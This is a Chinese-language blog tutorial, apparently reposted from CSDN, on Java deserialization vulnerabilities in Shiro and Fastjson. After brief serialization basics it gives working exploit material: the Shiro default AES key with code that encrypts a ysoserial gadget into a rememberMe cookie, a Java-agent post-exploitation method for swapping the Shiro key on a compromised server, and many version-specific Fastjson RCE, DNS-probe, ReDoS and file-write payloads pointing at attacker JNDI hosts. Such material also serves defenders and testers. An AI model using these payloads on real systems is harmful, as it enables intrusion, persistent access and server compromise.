Web安全之Java反序列漏洞总结

什么是序列化与反序列化

  1. Java 序列化是指把 Java 对象转换为字节序列的过程。
  2. Java 反序列化是指把字节序列恢复为 Java 对象的过程。

序列化的作用

  1. 实现了数据的持久化,通过序列化可以把数据永久的保存在硬盘上。
  2. 利用序列化实现远程通信,即在网络上传递对象的字节序列。

序列化与反序列化实现

JDK类库中的序列化API:
使用到JDK中关键类 ObjectOutputStream(对象输出流) 和ObjectInputStream(对象输入流)
ObjectOutputStream 类中:通过使用 writeObject(Object object) 方法,将对象以二进制格式进行写入。
ObjectInputStream 类中:通过使用 readObject()方法,从输入流中读取二进制流,转换成对象。

目标对象实现 Serializable 接口
新建一个Users类,实现Serializable接口,并且生成版本号

package org.joychou.test;

import java.io.Serializable;

public class Users implements Serializable {

    private static final long serialVersionUID = 3919559144903359124L;
    private int age;
    private String name;
    private String sex;

    public int getAge() {
        return age;
    }

    public String getName() {
        return name;
    }

    public String getSex() {
        return sex;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public void setName(String name) {
        this.name = name;
    }

    public void setSex(String sex) {
        this.sex = sex;
    }

    @Override
    public String toString() {
        return "Users{" +
                "age=" + age +
                ", name='" + name + '\'' +
                ", sex='" + sex + '\'' +
                '}';
    }
}

serialVersionUID 序列化版本号的作用是用来区分我们所编写的类的版本,取值是 Java 运行时环境根据类的内部细节自动生成的。如果对类的源代码作了修改,再重新编译,新生成的类文件的 serialVersionUID 的取值有可能也会发生变化。

【一一帮助安全学习,所有资源获取处一一】
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥信息收集80条搜索语法
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析
序列化和反序列化Person类对象

package org.joychou.test;

import java.io.*;

public class TestObjSerializeAndDeserialize {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        TestObjSerializeAndDeserialize.SerializeUsers();
        TestObjSerializeAndDeserialize.DeserializeUsers();
    }

    private static void SerializeUsers() throws IOException {
        Users users = new Users();
        users.setAge(20);
        users.setName("Tom");
        users.setSex("male");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/xxxx/Desktop/Users.ser"));
        objectOutputStream.writeObject(users);
        System.out.println("序列化完成!");
        objectOutputStream.close();
    }

    private static void DeserializeUsers() throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("Users/xxxx/Desktop/Users.ser"));
        Users users = (Users) objectInputStream.readObject();
        System.out.println("反序列化完成");
        System.out.println(users.toString());
    }
}

cat查看序列化后的二进制文件数据,Java的为乱码
1656290907_62b8fe5b196ef92b47fe0.png

0x01 常见的存在反序列化漏洞框架

Shiro

1656290960_62b8fe907be3b42cb3b69.png
Shiro 是一款轻量化的权限管理框架,能够较方便的实现用户验权,请求拦截等功能,同类型的框架是我们的 Spring Security ,相比之下 Spring Security 提供了更多的功能,我们这里来简单的介绍一下
Shiro 架构中主要有三个核心的概念:Subject, SecurityManager, Realms

Subject:代表当前的用户
SecurityManager:管理者所有的 Subject ,在官方文档中描述其为 Shiro 架构的核心
Realms:SecurityManager的认证和授权需要使用Realm,Realm负责获取用户的权限和角色等信息,再返回给SecurityManager来进行判断,在配置 Shiro 的时候,我们必须指定至少一个Realm 来实现认证(authentication)和/或授权(authorization)
我们需要实现Realms的Authentication 和 Authorization。其中 Authentication 是用来验证用户身份,Authorization 是授权访问控制,用于对用户进行的操作授权,证明该用户是否允许进行当前操作,如访问某个链接,某个资源文件等
下面是自己实现的 Realm,这里我们实现了认证的方法

这里的 getPrincipal 其实就是获取我们登录的用户名,getCredentials 其实就是我们登录的密码
1656291022_62b8fece437fdb34a3e61.png
我们这里的逻辑大致就是 如果获取到的用户名等于 admin 同时密码也为 admin那么就返回 AuthenticationInfo
AuthenticationInfo会携带存储起来的正确的用户认证信息,用来与用户提交的信息进行比对,如果信息不匹配,那么会认证失败

Shiro-550漏洞原理

在Shiro框架下,用户登陆成功后会生成一个经过加密的Cookie。其Cookie的Key的值为RememberMe,Value的值是经过序列化、AES加密和Base64编码后得到的结果。
服务端在接收到一个Cookie时,会按照如下步骤进行解析处理:

  1. 检索RememberMe Cookie的值
  2. 进行Base64解码
  3. 进行AES解码
  4. 进行反序列化操作,sink点readObject()。

在第4步中的调用反序列化时未进行任何过滤,进而可以导致出发远程代码执行漏洞。
由于使用了AES加密,成功利用该漏洞需要获取AES的加密密钥,在Shiro1.2.4版本之前AES的加密密钥为硬编码,其默认密钥的Base64编码后的值为kPH+bIxk5D2deZiIxcaaaA==

漏洞检测

Shiro主要检测思路有三种

  1. 第一种是使用yso下的URLDNS利用链进行检测

  2. 第二种是使用yso下cc利用链进行盲打,生成ping dnslog payload,如果key正确,dnslog会收到请求

  3. 前面两种思路都是使用dnslog进行测试,但是如果我们的目标不出网的情况下,只能使用CC链盲打,判断延迟。这种情况也会存在一些小问题,如果目标不出网,同时利用链不是CC的情况下,我们就会错过一些漏洞。其实在很多的文章里面都提到了一种思路,构造一个继承 PrincipalCollection的序列化对象(SimplePrincipalCollection),将我们的payload放进rememberMe里面,key正确情况下Set-Cookie返回 deleteMe,key错误情况下Set-Cookie返回 deleteMe

原理:
首先看一下为什么当key错误时,Set-Cookie会返回deleteMe。
找到我们的shiro-core/1.2.4/shiro-core-1.2.4.jar!/org/apache/shiro/mgt/AbstractRememberMeManager.class,这个类主要是用来处理rememberMe的逻辑代码,核心点在AbstractRememberMeManager#getRememberedPrincipals这段代码中。

在118行设置断点

下面我们开始debug,启动项目
1656291142_62b8ff467e7e64b82e349.png
下面我们分别来看两种情况

  1. 当AES的key不正确的情况下
    把rememberMe的值改成1
    1656291161_62b8ff59bd8e84d32678a.png
    调用convertBytesToPrincipals方法,跟进convertBytesToPrincipals方法
    1656291194_62b8ff7af3ce8e6db207b.png
    发现137行调用了decrypt解密
    1656291210_62b8ff8a195791c44079b.png
    然后167行接着调用解密
    1656291223_62b8ff9703bfb053b4abf.png
    AES解密算法,因为我们的key错误,这里直接抛异常了
    1656291240_62b8ffa83fb2f48af9a00.png
    直接被上一部分的代码捕捉到
    1656291253_62b8ffb59d470ecb95062.png
    跟进我们的核心代码onRememberedPrincipalFailure方法,继续跟进forgetIdentity方法
    1656291264_62b8ffc0ceca56eeb8fda.png
    forgetIdentity方法当中从subjectContext对象获取requestresponse,继续由forgetIdentity(HttpServletRequest request, HttpServletResponse response)这个构造方法处理。
    1656291275_62b8ffcba50def42676bd.png
    跟进forgetIdentity(HttpServletRequest request, HttpServletResponse response),看到一个removeFrom方法。
    1656291284_62b8ffd4ef93f4657f671.png
    继续跟进removeFrom方法,发现了给我们的Cookie增加deleteMe字段的位置了
    1656291295_62b8ffdfca2f049e34ed9.png
    结果:
    1656291308_62b8ffecb8467bad24437.png
    key正确的情况下,不返回deleteMe,可以自行调试
    key正确,会使用deserialize方法进行反序列化,PrincipalCollection是个接口

所以我们需要构造一个继承PrincipalCollection的序列化对象
Poc:

SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("payload"));
obj.writeObject(simplePrincipalCollection);
obj.close();

漏洞复现

使用SpringBoot,Shiro-1.2.24搭建测试环境
1656291382_62b90036d0fc9fd421057.png

因为yso中使用的是commons-beanutils-1.9.2,而shiro core中使用的是commons-beanutils1.8.3,我们使用改造后的ysoserial生成CommonsBeanutils_183的Gadget

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils_183 "open -a Calculator" > poc.ser

使用Shiro内置的默认密钥对Payload进行加密:

package ysoserial.util;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;

import java.nio.file.FileSystems;
import java.nio.file.Files;

public class AESencode {
    public static void main(String[] args) throws Exception {
        byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/Users/xxxxx/ysoserial-new/poc.ser"));

        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

发送生成的rememberMe Cookie,命令执行成功:
1656291431_62b90067afa3db57a98d0.png

Shiro 后渗透-使用Agent技术修改key

什么是java agent?

在JDK1.5以后,我们可以使用agent技术构建一个独立于应用程序的代理程序(即为Agent),用来协助监测、运行甚至替换其他JVM上的程序。Agent分为两种,一种是在主程序之前运行的Agent,一种是在主程序之后运行的Agent(前者的升级版,1.6以后提供)。

学习Java Agent除了可以做RASP等产品,我们还可以做一些趣味性事情,比如我们可以使用Agent机制实现Java商业软件破解,我们常用的IntelliJ IDEA破解工具就是使用Agent方式动态修改License类校验逻辑来实现破解的。

为什么要获取shiro的key?

  1. 可以方便我们快速的实现内网横向,毕竟shiro这个漏洞利用已经非常非常成熟了。
  2. 可以将这个key加入我们key字典中,方便之后的项目中测试。
  3. 如果我们修改key,但我们一失手忘记掉了key,也还要补救的措施。
  4. 如果点掉了,可以通过shiro这个入口快速重新切进去。

使用demo环境进行测试:

  1. 首先可以确定环境的key是默认的,并且是可以执行命令的。
    1656291497_62b900a98f3c5c111b26e.png

  2. 上传AgentInjectTool到目标服务器,执行命令java -jar AgentInjectTool.jar list,获取shiro环境启动的pid.
    1656291582_62b900fea646bd161cf17.png

  3. 执行命令java -jar AgentInjectTool.jar inject {pid} {file.txt|shirokey}
    1656291631_62b9012feda0cc4cd1bba.png

触发获取key操作,需要我们手动发送请求登录请求,无论正确与否均可。比例说使用工具的检测当前密钥功能
1656291654_62b9014611f63af6bfd89.png

生成新key,尝试注入
image.png

新key测试成功
1656291729_62b90191c40b2b4c72e02.png

修改shirokey原理:

通过Java Agent,我们可以hook想要的所有类,并且也能修改其代码逻辑,加入自己想要的功能。修改shiro的key需要调用内存中的AbstractRememberMeManager对象的setCipherKey方法,才能实现修改shiro的key的目的。
1656291747_62b901a3e919a6483714e.png

缺点:
由于已经用了新key,已登录的用户会话会失效,导致影响业务,慎重使用。

Fastjson

漏洞原理

FastJson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

autotype功能:允许用户在反序列化数据中通过“@type”指定反序列化的Class类型。

通俗理解就是:漏洞利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大影响。

AutoType黑名单机制
既然Json串中传入指定不可靠第三方Type类时是有被攻击风险的,自然最简单的做法就是在反序列化时首先校验传入的Class是否在黑名单Class列表中,FastJson中通过Hash算法,将一系列存在安全风险的Class全路径的Hash值存储在黑名单中,代码如下
1656291817_62b901e9c73120600d482.png

Fastjson 低版本 1.2.25-1.2.42明文黑名单。
1656291845_62b902051b342630056fd.png

判断fastjsonjackson

如果请求包中的 json 如下:

{"name":"S", "age":21}
追加一个随机 key ,修改 json 为
{"name":"S", "age":21,"agsbdkjada__ss_d":123}

这里 fastjson 是不会报错的

Jackson 因为强制 key 与 javabean 属性对齐,只能少不能多 key,所以会报错,服务器的响应包中多少会有异常回显

漏洞poc
  1. 有回显
    如果站点有原始报错回显,可以用不闭合花括号的方式进行报错回显,报错中往往会有fastjson的字样
    1656291921_62b90251e2c6282e9056f.png
  2. 无回显,通过DNS回显的方式盲区分 Fastjson 和 Jackson,使用以下payload测试
{"zeo":{"@type":"java.net.Inet4Address","val":"745shj.dnslog.cn"}}

1656292010_62b902aa4cd8ae4d4f3ce.png
最新版本1.2.67依然可以通过dnslog判断后端是否使用fastjson

{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}

畸形的

{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}

嵌套在里面zeo里面

{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}

{"@type":"java.net.Inet4Address","val":"dnslog"}
 {"@type":"java.net.Inet6Address","val":"dnslog"}
 {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
 {"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
 {
   
   {"@type":"java.net.URL","val":"dnslog"}:"aaa"}
 Set[{"@type":"java.net.URL","val":"dnslog"}]
 Set[{"@type":"java.net.URL","val":"dnslog"}
 {
   
   {"@type":"java.net.URL","val":"dnslog"}:

  1. 通过DOS延迟方式判断
    Fastjson1.2.36 - 1.2.62正则表达式拒绝服务漏洞
{"regex"%3a{"$ref"%3a"$[blue+rlike+'^[a-zA-Z]%2b(([a-zA-Z+])%3f[a-zA-Z]*)*$']"},"blue"%3a"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"}

Fastjson < 1.2.60 在取不到值的时候会填充\u001a,使用{"a:"\x进行请求就会发生DOS

漏洞exp

多版本payload
影响版本:fastjson<=1.2.24
exp:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1099/jndi", "autoCommit":true}

影响版本:fastjson<=1.2.41
前提:autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
exp:

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}

影响版本:fastjson<=1.2.42
前提:autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
exp:

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}

影响版本:fastjson<=1.2.43
前提:autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
exp:

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}

影响版本:fastjson<=1.2.45
前提:autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
exp:

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data\_source":"ldap://localhost:1399/Exploit"}}

影响版本:fastjson<=1.2.47
exp:

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://x.x.x.x:1999/Exploit", 
        "autoCommit": true
    }
}

影响版本:fastjson<=1.2.62
exp:

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}"

影响版本:fastjson<=1.2.66
前提:autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
exp:

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1399/Calc"}}

影响版本:fastjson<=1.2.68
JRE 8 下的写文件利用链 PoC,这个利用链仅仅存在centos中,sun.rmi.server.MarshalOutputStream在win下是没有的

{
    "x":{
        "@type":"java.lang.AutoCloseable",
        "@type":"sun.rmi.server.MarshalOutputStream",
        "out":{
            "@type":"java.util.zip.InflaterOutputStream",
            "out":{
                "@type":"java.io.FileOutputStream",
                "file":"/tmp/dest.txt",
                "append":false
            },
            "infl":{
                "input":"eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=="
            },
            "bufLen":1048576
        },
        "protocolVersion":1
    }
}

commons-io 2.0 - 2.6 版本:

{
  "x":{
    "@type":"com.alibaba.fastjson.JSONObject",
    "input":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.ReaderInputStream",
      "reader":{
        "@type":"org.apache.commons.io.input.CharSequenceReader",
        "charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)"
      },
      "charsetName":"UTF-8",
      "bufferSize":1024
    },
    "branch":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.output.WriterOutputStream",
      "writer":{
        "@type":"org.apache.commons.io.output.FileWriterWithEncoding",
        "file":"/tmp/pwned",
        "encoding":"UTF-8",
        "append": false
      },
      "charsetName":"UTF-8",
      "bufferSize": 1024,
      "writeImmediately": true
    },
    "trigger":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger2":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger3":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    }
  }
}

commons-io 2.7 - 2.8.0 版本:

{
  "x":{
    "@type":"com.alibaba.fastjson.JSONObject",
    "input":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.ReaderInputStream",
      "reader":{
        "@type":"org.apache.commons.io.input.CharSequenceReader",
        "charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)",
        "start":0,
        "end":2147483647
      },
      "charsetName":"UTF-8",
      "bufferSize":1024
    },
    "branch":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.output.WriterOutputStream",
      "writer":{
        "@type":"org.apache.commons.io.output.FileWriterWithEncoding",
        "file":"/tmp/pwned",
        "charsetName":"UTF-8",
        "append": false
      },
      "charsetName":"UTF-8",
      "bufferSize": 1024,
      "writeImmediately": true
    },
    "trigger":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "inputStream":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger2":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "inputStream":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger3":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "inputStream":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    }
  }

总结:
  1. jndi(需要出网)

    1. JdbcRowSetImpl
    2. C3p0#JndiRefForwardingDataSource
    3. JndiDataSourceFactory
    4. shiro#JndiObjectFactory
    5. shiro#JndiRealmFactory
  2. BCEL(不出网利用。 需要注意在Java 8u251以后,bcel类被删除)
    BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目,BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。就这个库的功能来看,其使用面远不及同胞兄弟们,但是他比Commons Collections特殊的一点是,它被包含在了原生的JDK中,位于com.sun.org.apache.bcel
    Poc:

    {
    {
        "aaa": {
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
            //这里是tomcat>8的poc,如果小于8的话用到的类是
            //org.apache.tomcat.dbcp.dbcp.BasicDataSource
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
    
    

猜你喜欢

转载自blog.csdn.net/Android_wxf/article/details/125765585
今日推荐